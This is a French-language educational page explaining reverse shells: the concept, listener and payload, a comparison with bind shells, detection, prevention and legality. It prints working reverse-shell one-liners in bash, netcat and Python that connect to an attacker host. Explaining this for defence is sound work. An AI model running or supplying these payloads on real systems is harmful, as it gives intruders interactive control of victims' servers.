Shell Inversé
TL;DR : Shell Inversé
Un shell inversé, également connu sous le nom de shell de connexion-retour, est lorsque un système compromis se connecte à l’attaquant et lui donne une session de ligne de commande en direct.
Pourquoi cela est-il important ?
- Les shells inversés peuvent contourner les pare-feux car la plupart des pare-feux bloquent les connexions entrantes mais autorisent les connexions sortantes.
- Les attaquants obtiennent un contrôle réel car ils peuvent exécuter des commandes comme s’ils étaient directement connectés.
- Les shells inversés sont très courants car ils sont une étape standard après qu’un attaquant a exploité un système.
Imaginez-le de cette façon : au lieu que l’attaquant essaie d’entrer, il trompe le serveur pour qu’il le contacte.
Qu’est-ce qu’un Shell Inversé ?
Un shell inversé est un shell distant où l’ordinateur de la victime démarre la connexion vers l’ordinateur de l’attaquant.
Normalement, votre ordinateur démarre la connexion, comme lorsque vous visitez un site web. Avec un shell inversé, c’est inversé. Après que l’attaquant trouve un moyen d’exécuter du code, le serveur se connecte à l’attaquant.
Une façon facile de s’en souvenir :
- Shell lié : Vous essayez de vous connecter au serveur. Si un pare-feu vous bloque, vous ne pouvez pas passer.
- Shell inversé : Le serveur se connecte à vous. Étant donné que les connexions sortantes sont généralement autorisées, vous pouvez répondre et prendre le contrôle.
Pourquoi les Shells Inversés Comptent
Les équipes de sécurité se concentrent généralement sur des défenses comme les pare-feux, les équilibreurs de charge et la limitation des ports. Cela fonctionne jusqu’à ce qu’un attaquant parvienne à exécuter du code à l’intérieur du système.
Lorsque cela se produit, le shell inversé devient le principal moyen pour l’attaquant de rester à l’intérieur.
Pourquoi est-ce dangereux :
-
Le trafic sortant est fiable.
Les pare-feu permettent souvent le trafic sortant sur des ports comme 80 ou 443 pour les mises à jour et les API. Les shells inversés peuvent se cacher dans ce trafic autorisé.
-
Les attaquants peuvent maintenir l’accès.
Même si la faille de sécurité initiale est corrigée, un shell actif peut toujours permettre aux attaquants de contrôler le système.
-
Cela permet un mouvement latéral.
Avec un shell, les attaquants peuvent explorer le réseau interne, voler des mots de passe et se déplacer vers d’autres ordinateurs. Une vulnérabilité peut rapidement conduire à la compromission de tout l’environnement.
Comment fonctionne un Shell Inversé
Un shell inversé a deux parties principales : le listener et le payload.
1. Le Listener (Côté Attaquant)
L’attaquant utilise un programme qui attend les connexions. Netcat est un outil courant pour cela.
nc -lvnp 4444
Cette commande indique à l’ordinateur de l’attaquant d’écouter sur le port 4444 et d’attendre une connexion.
2. Le Payload (Côté Victime)
Après avoir trouvé une vulnérabilité comme l’exécution de code à distance, l’attaquant exécute une commande sur le serveur de la victime pour ouvrir un shell et le renvoyer.
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Cette commande démarre un shell bash et envoie toutes les entrées et sorties à l’ordinateur de l’attaquant.
3. La Connexion
Le serveur de la victime démarre une connexion sortante. Le pare-feu voit cela comme normal et l’autorise. Le listener de l’attaquant accepte la connexion, donnant à l’attaquant un shell interactif en direct sur le serveur.
À ce stade, l’attaquant a un contrôle interactif complet sur le serveur.
Exemples Courants de Shell Inversé
Les attaquants et les hackers éthiques ajustent leur approche en fonction des outils disponibles sur le système cible.
Bash (Commun sur Linux)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Utilisé lorsque Netcat est disponible sur la machine cible.
nc -e /bin/sh 10.0.0.1 4444
Python
Python est très courant sur les serveurs modernes.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Shell inversé vs Shell lié
Connaître la différence entre les shells inversés et les shells liés aide à défendre les réseaux.
| Fonctionnalité | Shell lié | Shell inversé |
|---|---|---|
| Direction de la connexion | Attaquant vers Victime | Victime vers Attaquant |
| Impact sur le pare-feu | Souvent bloqué | Souvent autorisé |
| Exigences réseau | Accès direct nécessaire | Fonctionne à travers NAT et pare-feux |
| Cas d’utilisation typique | Réseaux internes | Attaques réelles |
Qui utilise les shells inversés ?
- Les testeurs de pénétration utilisent les shells inversés pour prouver qu’une vulnérabilité peut conduire à une compromission complète du système.
- Les équipes rouges utilisent les shells inversés pour tester l’efficacité du contrôle du trafic sortant.
- Les acteurs malveillants utilisent les shells inversés pour déployer des ransomwares, voler des données ou progresser dans un réseau.
- Les administrateurs système utilisent rarement les shells inversés pour l’accès à distance. Ils préfèrent généralement les tunnels SSH sécurisés.
Détection et prévention
Arrêter les shells inversés nécessite plusieurs couches de défense.
-
Filtrage du trafic sortant
Les serveurs ne devraient pas avoir un accès ouvert à Internet. Limitez les destinations et les ports qu’ils peuvent utiliser.
-
Surveillance du comportement
Un serveur web lançant un processus de shell, tel que /bin/bash ou cmd.exe, est très suspect.
-
Réduire la surface d’attaque.
Supprimez les outils inutilisés comme Netcat, les compilateurs et les interpréteurs supplémentaires des systèmes de production.
Termes associés
- Exécution de code à distance (RCE)
- Shell lié
FAQ : Shell inversé
Un shell inversé est-il illégal ?
Les shells inversés sont légaux uniquement si vous les utilisez sur des systèmes que vous possédez ou avez une autorisation claire pour tester. Les utiliser sans permission est illégal.
Pourquoi les pare-feu permettent-ils les shells inversés ?
Les pare-feu sont conçus pour bloquer les menaces entrantes et font généralement confiance au trafic sortant. Les shells inversés en profitent.
Un antivirus peut-il détecter les shells inversés ?
Parfois. Les logiciels antivirus qui utilisent des signatures peuvent trouver des programmes de shell connus, mais les shells sans fichier créés avec Bash ou Python sont beaucoup plus difficiles à détecter.
Quelle est la différence entre un shell inversé et un webshell ?
Un webshell est utilisé via un navigateur et reste généralement sur le système, mais a des fonctionnalités limitées. Un shell inversé offre une session de ligne de commande interactive en direct.